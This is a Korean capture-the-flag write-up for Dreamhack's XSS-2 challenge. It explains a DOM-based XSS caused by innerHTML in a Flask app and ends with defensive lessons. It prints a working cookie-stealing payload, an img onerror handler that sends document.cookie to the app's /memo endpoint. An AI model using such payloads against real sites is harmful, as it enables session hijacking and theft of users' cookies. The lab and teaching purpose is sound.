Write-up: XSS-2 (Dreamhack)
문제 개요
Flask로 작성된 웹 서버에서 DOM 기반 XSS 취약점을 이용해 봇의 쿠키에 저장된 FLAG를 탈취하는 문제. XSS-1과 목표는 같지만, /vuln의 출력 방식이 달라져 <script> 태그를 사용할 수 없다.
엔드포인트 분석
/vuln — XSS 발생 지점 (DOM 기반)
@app.route("/vuln")
def vuln():
return render_template("vuln.html")
<!-- vuln.html -->
<script>
var x = new URLSearchParams(location.search);
document.getElementById('vuln').innerHTML = x.get('param');
</script>
- render_template() 사용으로 서버 사이드 XSS는 차단됨
- 그러나 innerHTML로 URL 파라미터를 DOM에 직접 삽입 → DOM 기반 XSS 발생
- innerHTML은 <script> 태그 실행을 막지만, 이벤트 핸들러(onerror, onload 등)는 실행됨
/memo — 쿠키 수신 저장소
memo_text = ""
@app.route("/memo")
def memo():
global memo_text
text = request.args.get("memo", "")
memo_text += text + "\n"
return render_template("memo.html", memo=memo_text)
- GET 파라미터로 받은 값을 서버 전역 변수에 누적 저장
- 탈취한 쿠키를 기록하는 용도로 활용
/flag — 공격 트리거
def check_xss(param, cookie={"name": "name", "value": "value"}):
url = f"http://127.0.0.1:8000/vuln?param={urllib.parse.quote(param)}"
return read_url(url, cookie)
@app.route("/flag", methods=["GET", "POST"])
def flag():
if request.method == "GET":
return render_template("flag.html")
elif request.method == "POST":
param = request.form.get("param")
if not check_xss(param, {"name": "flag", "value": FLAG.strip()}):
return '<script>alert("wrong??");history.go(-1);</script>'
return '<script>alert("good");history.go(-1);</script>'
- POST 요청 시 입력한 param과 함께 FLAG 쿠키를 가진 봇이 /vuln을 방문
- XSS-1과 동일한 흐름
취약점 분석
XSS-1과의 차이점
항목 XSS-1 XSS-2
| /vuln 출력 방식 | return param (날것 반환) | innerHTML로 DOM 삽입 |
| XSS 종류 | Reflected XSS | DOM 기반 XSS |
| <script> 태그 | 실행됨 | 실행 안 됨 |
| 우회 방법 | 불필요 | 이벤트 핸들러 사용 |
innerHTML과 <script> 태그
// innerHTML로 script 삽입 시
element.innerHTML = "<script>alert(1)</script>"
// → 브라우저 보안 정책으로 실행 차단됨
// 이벤트 핸들러는 실행됨
element.innerHTML = "<img src=x onerror=alert(1)>"
// → img 로드 실패 → onerror 이벤트 발생 → JS 실행
왜 /memo를 사용하나?
봇의 쿠키 도메인이 127.0.0.1로 설정되어 있어 외부 서버(Request Bin)로 쿠키가 전달되지 않을 수 있다. 같은 서버 내부의 /memo 엔드포인트를 이용하면 안정적으로 쿠키를 전달할 수 있다.
공격 흐름
1. /flag 에 XSS 페이로드 제출 (param)
↓
2. 봇이 FLAG 쿠키를 들고 /vuln?param=<페이로드> 방문
↓
3. vuln.html의 innerHTML이 페이로드를 DOM에 삽입
↓
4. img 로드 실패 → onerror 이벤트 발생 → JS 실행
↓
5. document.cookie(FLAG)를 /memo 로 전송
↓
6. /memo 접속 → FLAG 확인
익스플로잇
페이로드
<img src="XSS-2" onerror="location.href='/memo?memo='+document.cookie">
동작 원리
- <img src="XSS-2"> — "XSS-2" 라는 이미지는 존재하지 않음
- 이미지 로드 실패 → onerror 이벤트 발생
- location.href='/memo?memo='+document.cookie 실행
- 봇의 FLAG 쿠키가 /memo에 GET 파라미터로 전달됨
- /memo 접속 시 FLAG 확인 가능
제출 위치
http://host8.dreamhack.games:9138/flag → param 입력창에 페이로드 입력 후 제출
FLAG 확인 위치
http://host8.dreamhack.games:9138/memo
FLAG

핵심 교훈
- render_template()을 써도 템플릿 내부에서 innerHTML로 입력값을 삽입하면 DOM 기반 XSS가 발생한다
- innerHTML은 <script> 실행을 막지만 onerror, onload 같은 이벤트 핸들러는 막지 못한다
- 봇의 쿠키 도메인 제한으로 외부 서버 대신 내부 /memo 엔드포인트를 활용했다
- 사용자 입력은 innerHTML 대신 textContent나 innerText를 써야 안전하다
XSS-1 vs XSS-2 최종 비교
XSS-1 XSS-2
| 취약점 위치 | 서버 사이드 | 클라이언트 사이드 (DOM) |
| 페이로드 태그 | <script> | <img onerror> |
| 쿠키 전송 | 외부 Request Bin | 내부 /memo |
| 핵심 원인 | 입력값 날것 반환 | innerHTML에 입력값 삽입 |